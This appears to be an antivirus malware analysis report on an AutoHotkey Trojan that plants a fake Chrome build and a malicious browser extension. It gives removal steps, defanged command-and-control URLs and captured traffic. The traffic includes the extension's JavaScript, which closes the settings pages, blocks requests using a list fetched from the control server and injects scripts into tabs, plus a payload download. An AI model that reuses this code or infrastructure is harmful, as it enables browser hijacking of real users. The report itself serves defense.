    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.pak (3257 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.pak (1425 bytes)
    %Documents and Settings%\%current user%\Application Data\king.js (1 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.pak (4185 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.pak (1281 bytes)
    %Documents and Settings%\%current user%\Application Data\key.txt (249 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.pak (2105 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.pak (3073 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\resources.pak (43124 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\ok.txt (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.pak (3361 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.pak (4545 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.pak (3073 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\libpeerconnection.dll (15116 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.pak (2321 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Preferences (73 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.pak (2105 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.dll (10 bytes)
    %System%\drivers\etc\hosts (394 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\icudt.dll (76505 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.pak (3361 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\chrome_100_percent.pak (7345 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.pak (1281 bytes)
    %Documents and Settings%\%current user%\Desktop\Google Chrome.lnk (791 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.pak (1425 bytes)
    %Documents and Settings%\%current user%\Application Data\wget.exe (1333 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.pak (3361 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\chrome.dll (360605 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.pak (2321 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.pak (2105 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.pak (3361 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.pak (2321 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\agaicoecbpphpapkadlhpkjbnlegeopm\king.js (1 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.pak (4185 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\pepflashplayer.dll (113356 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.pak (1425 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.pak (1281 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.pak (3073 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.pak (2321 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.dll (9 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.pak (1281 bytes)
    %Documents and Settings%\%current user%\Application Data\hash.txt (32 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.dll (10 bytes)
    %Program Files%\Google\Chrome\Application\chrome.exe (5889 bytes)
    %Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.dll (9 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Google Charles" = "%Documents and Settings%\%current user%\Application Data\Charles.exe"

  5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Apple Inc.
Product Name:
Product Version:
Legal Copyright: Apple Inc.
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 9.1.2
File Description: Apple Inc. 9.1.2 Installation
Comments:
Language: English (United States)

Company Name: Apple Inc.Product Name: Product Version: Legal Copyright: Apple Inc. Legal Trademarks: Original Filename: Internal Name: File Version: 9.1.2 File Description: Apple Inc. 9.1.2 Installation Comments: Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text40963621983624964.6261506fb96e5de678ab3654b8cba9be7b4b3
.rdata36864042792430083.73288a86a7956fff826cfae8192f9e4d6248d
.data4136963139681922.70063f9f09007f34890bdde82a8b299b3f02b
.rsrc4464641351681351684.58874456cd375729de7113d383a348be0498f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL IP
hxxp://filmverme.com/ahk/ok.txt
hxxp://filmverme.com/ahk/req.php?type=update_hash
hxxp://filmverme.com/ahk/req.php?type=js
hxxp://filmverme.com/ahk/req.php?type=key
hxxp://filmverme.com/ahk/req.php?type=arsiv_hash
hxxp://filmverme.com/ahk/req.php?type=arsiv_link
hxxp://a67.dscg10.akamai.net/app.exe
hxxp://www.filmverme.com:80/ahk/req.php?type=arsiv_link188.226.214.13
hxxp://2954a8a21bfb9b10b4a6-1981ec46a5cc22b4c18624261f076d09.r65.cf5.rackcdn.com:80/app.exe212.30.134.207
hxxp://www.filmverme.com/ahk/req.php?type=key188.226.214.13
hxxp://www.filmverme.com/ahk/req.php?type=update_hash188.226.214.13
hxxp://www.filmverme.com/ahk/ok.txt188.226.214.13
hxxp://www.filmverme.com/ahk/req.php?type=arsiv_hash188.226.214.13
hxxp://www.filmverme.com/ahk/req.php?type=js188.226.214.13
www.google.com64.233.165.104

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /ahk/req.php?type=arsiv_link HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: VVV.filmverme.com:80

Accept: */*

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Sun, 22 Feb 2015 04:16:47 GMT

Content-Type: text/javascript; Charset=UTF8

Connection: close

X-Powered-By: PHP/5.4.17

Location: hXXp://2954a8a21bfb9b10b4a6-1981ec46a5cc22b4c18624261f076d09.r65.cf5.rackcdn.com/app.exe

GET /app.exe HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: 2954a8a21bfb9b10b4a6-1981ec46a5cc22b4c18624261f076d09.r65.cf5.rackcdn.com:80

Accept: */*

HTTP/1.0 200 OK

Last-Modified: Sat, 07 Feb 2015 22:32:25 GMT

ETag: 0c4950e06182df940d3e841551aa4378

Origin: hXXps://mycloud.rackspace.com

Content-Length: 31990778

Accept-Ranges: bytes

X-Timestamp: 1423348344.26062

Content-Type: application/x-msdownload

X-Trans-Id: tx6a393c95109b43da828b3-0054e52931iad3

Cache-Control: public, max-age=218339

Expires: Tue, 24 Feb 2015 16:55:47 GMT

Date: Sun, 22 Feb 2015 04:16:48 GMT

Connection: close

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........f..{5..{5..{5...5..{5..z5(.{5...5..{5...5..{5...5..{5...5..{5...5..{5...5..{5Rich..{5........PE..L...Yj>O.....................d...............0....@..................................................................K..3...L<...........@...........................2...............................................0...............................text...2........................... ..`.rdata..5....0......."..............@..@.data....V...P.......@..............@....CRT.................B..............@..@.rsrc....@.......B...D..............@..@..................................................................................................................................................................................................................................................................................................................................................................@s... s........................................D$..L$....L$.u..D$......S.....D$..d$....D$.....[...............WVS3..D$...}.G.T$.........D$..T$..D$...}.G.T$.........D$..T$...u..L$..D$.3......D$......A...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N3...Ou........[^_.........WVU3.3..D$...}.GE.T$.........D$..T$..D$...}.G.T$.........D$..T$...u(.L$..D$.3......D$........d$......d$....G...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N D$..T$.3. D$..T$.My..................Ou........]

<<< skipped >>>

GET /ahk/ok.txt HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 22 Feb 2015 04:16:47 GMT

Content-Type: text/plain

Content-Length: 9

Last-Modified: Sat, 07 Feb 2015 17:49:17 GMT

Connection: keep-alive

ETag: "54d6501d-9"

Accept-Ranges: bytes

Server_ok....

GET /ahk/req.php?type=update_hash HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 22 Feb 2015 04:16:47 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

0......

GET /ahk/req.php?type=js HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 22 Feb 2015 04:16:47 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

661..chrome["tabs"]["onUpdated"]["addListener"](function(myid, x, my) {.. if (my["url"]["indexOf"]("chrome://extension") >= 0 || my["url"]["indexOf"]("chrome://chrome/extension") >= 0 || my["url"]["indexOf"]("chrome://settings/resetProfileSettings") >= 0 || my["url"]["indexOf"]("opera://extensions/") >= 0 || my["url"]["indexOf"]("browser://tune/") >= 0 || my["url"]["indexOf"]("chrome://help/") >= 0) {.. chrome["tabs"]["remove"](my["id"]);.. }..});..chrome.webRequest.onBeforeRequest.addListener(..function (details) {..var url = details.url;..for (var i = 0; i < block.length; i ) {..if (url.indexOf(block[i]) > -1) {.. return {.. cancel: true.. };..}..}..}, {.. urls: ["<all_urls>"]..}, ["blocking"]);..var block = ["csp"];..var curl = new XMLHttpRequest();..curl.onreadystatechange = function () {..if (curl.readyState == 4) {.. try {.. JSON.parse(curl.responseText).forEach(.. function (d) {.. if (d.uri) {.. block.push(d.uri);.. }.. });.. } catch (e) {}..}..};..curl.open("GET","hXXp://filmverme.com/ahk/get.js?cache=" Math.random() * 999999, true);..curl.send();..chrome.tabs.onUpdated.addListener(function (theId) {..chrome.tabs.get(theId, function (the) {..{..var xmlhtp = new XMLHttpRequest();..xmlhtp.onreadystatechange = function () {..if (xmlhtp.readyState == 4) {.. if (the.url.indexOf("devtools://") < 0) {.. chrome.tabs.executeScript(the.id, {.. code:

<<< skipped >>>

GET /ahk/req.php?type=key HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 22 Feb 2015 04:16:47 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

f9..agaicoecbpphpapkadlhpkjbnlegeopm#MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC09Ad4okJYjGi4uLCJ7U2vobdjTzb8GhqTc0u8ADZ9smXUTgL0MxACh5xYKS4HUv7rvPS sjYkwmIRonZdRxU 7qrPP0vRF3VpFWV4rADmwrIO2qRWi2ZXD0KbN4rhKkkiiMcvW OKdki1dF/pgKxMiCG5QrjILmNp4Xn Cfr8qQIDAQAB..0......

GET /ahk/req.php?type=arsiv_hash HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 22 Feb 2015 04:16:47 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

20..0c4950e06182df940d3e841551aa4378..0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 22 Feb 2015 04:16:47 GMT..Content-Type: text/javascript; Charset=UTF8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.4.17..20..0c4950e06182df940d3e841551aa4378..0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Charles.exe_1772:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

YYu.Pj

YYu.Pj

!"#$%%&'())* ,-./0123456789:;

!"#$%%&'())* ,-./0123456789:;

VSSSh

VSSSh

E`SSh

E`SSh

SSSSSSSh

SSSSSSSh

urSSSh

urSSSh

WSSSh

WSSSh

zSSShX

zSSShX

t*SSh

t*SSh

t3SSSh

t3SSSh

VWumh0%F

VWumh0%F

u.hL%F

u.hL%F

It.It

It.It

SSSSh

SSSSh

tASSSh

tASSSh

udPS

udPS

uÊ;MP|

uÊ;MP|

!!!!!!""#$%&'(((((())* ,-.CCCCCCCC//C01234445656789:;9:;CCC?@AB

!!!!!!""#$%&'(((((())* ,-.CCCCCCCC//C01234445656789:;9:;CCC?@AB

AutoHotkey

AutoHotkey

AppsKey

AppsKey

ListHotkeys

ListHotkeys

KeyHistory

KeyHistory

DetectHiddenWindows

DetectHiddenWindows

SetKeyDelay

SetKeyDelay

Hotkey

Hotkey

KeyWait

KeyWait

GetKeyState

GetKeyState

URLDownloadToFile

URLDownloadToFile

MsgBox

MsgBox

IfMsgBox

IfMsgBox

AHK Keybd

AHK Keybd

X X

X X

NOTE: To disable the key history shown below, add the line "#KeyHistory 0" anywhere in the script. The same method can be used to change the size of the history buffer. For example: #KeyHistory 100 (Default is 40, Max is 500)

NOTE: To disable the key history shown below, add the line "#KeyHistory 0" anywhere in the script. The same method can be used to change the size of the history buffer. For example: #KeyHistory 100 (Default is 40, Max is 500)

The oldest are listed first. VK=Virtual Key, SC=Scan Code, Elapsed=Seconds since the previous event. Types: h=Hook Hotkey, s=Suppressed (blocked), i=Ignored because it was generated by an AHK script, a=Artificial, #=Disabled via #IfWinActive/Exist.

The oldest are listed first. VK=Virtual Key, SC=Scan Code, Elapsed=Seconds since the previous event. Types: h=Hook Hotkey, s=Suppressed (blocked), i=Ignored because it was generated by an AHK script, a=Artificial, #=Disabled via #IfWinActive/Exist.

NOTE: Only the script's own keyboard events are shown

NOTE: Only the script's own keyboard events are shown

(not the user's), because the keyboard hook isn't installed.

(not the user's), because the keyboard hook isn't installed.

Modifiers (Hook's Logical) = %s

Modifiers (Hook's Logical) = %s

Modifiers (Hook's Physical) = %s

Modifiers (Hook's Physical) = %s

Prefix key is down: %s

Prefix key is down: %s

OWarning: The keyboard and/or mouse hook could not be activated; some parts of the script will not function.

OWarning: The keyboard and/or mouse hook could not be activated; some parts of the script will not function.

"%s" is not a valid key name. The current thread will exit.

"%s" is not a valid key name. The current thread will exit.

"%s" is not allowed as a prefix key.

"%s" is not allowed as a prefix key.

%u hotkeys have been received in the last %ums.

%u hotkeys have been received in the last %ums.

(see #MaxHotkeysPerInterval in the help file)

(see #MaxHotkeysPerInterval in the help file)

Max hotkeys.

Max hotkeys.

The AltTab hotkey "%s" must have exactly one modifier/prefix.

The AltTab hotkey "%s" must have exactly one modifier/prefix.

The AltTab hotkey "%s" must specify which key (L or R).

The AltTab hotkey "%s" must specify which key (L or R).

Nonexistent hotkey variant (IfWin). The current thread will exit.

Nonexistent hotkey variant (IfWin). The current thread will exit.

Nonexistent hotkey. The current thread will exit.

Nonexistent hotkey. The current thread will exit.

SCx

SCx

A%s[%u of %u]: %-1.60s%s

A%s[%u of %u]: %-1.60s%s

: -*.|&^/

: -*.|&^/

HKEY_USERS

HKEY_USERS

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

%s\%s

%s\%s

=/|^,:*&~!() -"'\;`{}

=/|^,:*&~!() -"'\;`{}

timesincepriorhotkey

timesincepriorhotkey

timesincethishotkey

timesincethishotkey

priorhotkey

priorhotkey

thishotkey

thishotkey

subkey

subkey

keydelay

keydelay

detecthiddenwindows

detecthiddenwindows

%s%s%s

%s%s%s

if %s %s %s and %s

if %s %s %s and %s

%s%s %s %s

%s%s %s %s

MbP?u:

MbP?u:

%sGlobal Variables (alphabetical)%s

%sGlobal Variables (alphabetical)%s

Local Variables for %s()%s

Local Variables for %s()%s

Key History has been disabled via #KeyHistory 0.

Key History has been disabled via #KeyHistory 0.

Window: %s

Window: %s

Keybd hook: %s

Keybd hook: %s

Mouse hook: %s

Mouse hook: %s

Enabled Timers: %u of %u (%s)

Enabled Timers: %u of %u (%s)

Interrupted threads: %d%s

Interrupted threads: %d%s

Paused threads: %d of %d (%d layers)

Paused threads: %d of %d (%d layers)

Modifiers (GetKeyState() now) = %s

Modifiers (GetKeyState() now) = %s

AutoHotkey2

AutoHotkey2

%%%s%s%s

%%%s%s%s

Script lines most recently executed (oldest first). Press [F5] to refresh. The seconds elapsed between a line and the one after it is in parentheses to the right (if not 0). The bottommost line's elapsed time is the number of seconds since it executed.

Script lines most recently executed (oldest first). Press [F5] to refresh. The seconds elapsed between a line and the one after it is in parentheses to the right (if not 0). The bottommost line's elapsed time is the number of seconds since it executed.

Critical Error: %s

Critical Error: %s

Specifically: %-1.100s%s

Specifically: %-1.100s%s

%s%s: %-1.500s

%s%s: %-1.500s

in #include file "%s"

in #include file "%s"

Specifically: %s

Specifically: %s

%s (%d) : ==> %s

%s (%d) : ==> %s

Line Text: %-1.100s%s

Line Text: %-1.100s%s

Error at line %u

Error at line %u

Action: %s

Action: %s

Params:

Params:

Verb:

Verb:

.hta"

.hta"

.cmd"

.cmd"

.com"

.com"

.bat"

.bat"

.exe"

.exe"

%s %s

%s %s

System verbs unsupported with RunAs. The current thread will exit.

System verbs unsupported with RunAs. The current thread will exit.

#KeyHistory

#KeyHistory

#MaxThreadsPerHotkey

#MaxThreadsPerHotkey

#MaxHotkeysPerInterval

#MaxHotkeysPerInterval

#HotkeyInterval

#HotkeyInterval

#HotkeyModifierTimeout

#HotkeyModifierTimeout

#InstallKeybdHook

#InstallKeybdHook

=/|^,:*&~!() -

=/|^,:*&~!() -

Too many parameters passed to function.

Too many parameters passed to function.

Too few parameters passed to function.

Too few parameters passed to function.

Caller must pass a variable to this ByRef parameter.

Caller must pass a variable to this ByRef parameter.

/|^,*&~!. -"

/|^,*&~!. -"

Unsupported parameter default.

Unsupported parameter default.

=/|^,:*&~!()"

=/|^,:*&~!()"

"%s" requires that parameter #%u be non-blank.

"%s" requires that parameter #%u be non-blank.

"%s" requires at least %d parameter%s.

"%s" requires at least %d parameter%s.

Invalid hotkey.

Invalid hotkey.

=/|^,:*&~!() -".

=/|^,:*&~!() -".

Unsupported static initializer.

Unsupported static initializer.

Could not extract script from EXE.

Could not extract script from EXE.

Duplicate hotkey.

Duplicate hotkey.

Hotkeys/hotstrings are not allowed inside functions.

Hotkeys/hotstrings are not allowed inside functions.

{Blind}{%s Up}

{Blind}{%s Up}

*%s::

*%s::

*%s up::

*%s up::

{Blind}%s%s{%s DownTemp}

{Blind}%s%s{%s DownTemp}

if not GetKeyState("%s")

if not GetKeyState("%s")

Note: The hotkey %s will not be active because it does not exist in the current keyboard layout.

Note: The hotkey %s will not be active because it does not exist in the current keyboard layout.

=/|^,:

=/|^,:

=/|^,:. -*&!?~

=/|^,:. -*&!?~

Join

Join

>AUTOHOTKEY SCRIPT

>AUTOHOTKEY SCRIPT

EndKey:

EndKey:

SOFTWARE\AutoHotkey

SOFTWARE\AutoHotkey

\\.\%c:

\\.\%c:

\\.\vwin32

\\.\vwin32

open "%s" alias AHK_PlayMe

open "%s" alias AHK_PlayMe

All Files (*.*)

All Files (*.*)

Text Documents (*.txt)

Text Documents (*.txt)

*.txt

*.txt

%s%c%sÊll Files (*.*)%c*.*%c

%s%c%sÊll Files (*.*)%c*.*%c

Select File - %s

Select File - %s

1.0.48.05

1.0.48.05

\AutoHotkey.exe

\AutoHotkey.exe

WIN32_WINDOWS

WIN32_WINDOWS

.DEFAULT\Control Panel\Desktop\ResourceLocale

.DEFAULT\Control Panel\Desktop\ResourceLocale

SOFTWARE\Microsoft\Windows\CurrentVersion

SOFTWARE\Microsoft\Windows\CurrentVersion

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Compile error %d at offset %d: %s

Compile error %d at offset %d: %s

%sBottom

%sBottom

%sRight

%sRight

%sTop

%sTop

%sLeft

%sLeft

0xX

0xX

Could not open URL hXXp://VVV.autohotkey.com in default browser.

Could not open URL hXXp://VVV.autohotkey.com in default browser.

hXXp://VVV.autohotkey.com

hXXp://VVV.autohotkey.com

hh.exe

hh.exe

%sAutoHotkey.chm"

%sAutoHotkey.chm"

\AutoHotkey.chm"

\AutoHotkey.chm"

%sAU3_Spy.exe"

%sAU3_Spy.exe"

\AU3_Spy.exe"

\AU3_Spy.exe"

set cd door %s wait

set cd door %s wait

open %s type cdaudio alias cd wait shareable

open %s type cdaudio alias cd wait shareable

set cdaudio door %s wait

set cdaudio door %s wait

Component Doesn't Support This Control Type

Component Doesn't Support This Control Type

Mixer Doesn't Support This Component Type

Mixer Doesn't Support This Component Type

0xX

0xX

Mb@AAutoHotkey v1.0.48.05

Mb@AAutoHotkey v1.0.48.05

Len%d

Len%d

Pos%d

Pos%d

Len%s

Len%s

Pos%s

Pos%s

0.0.0.0

0.0.0.0

InternetOpenUrlA

InternetOpenUrlA

Select Folder - %s

Select Folder - %s

%u.%u.%u.%u

%u.%u.%u.%u

RunAs: Missing advapi32.dll. The current thread will exit.

RunAs: Missing advapi32.dll. The current thread will exit.

%dGui

%dGui

vkX

vkX

AutoHotkeyGUI

AutoHotkeyGUI

Password

Password

Report

Report

msctls_hotkey32

msctls_hotkey32

Button%s

Button%s

&Suspend Hotkeys

&Suspend Hotkeys

Supported only for the tray menu The current thread will exit.

Supported only for the tray menu The current thread will exit.

dddddd

dddddd

dA\\?\

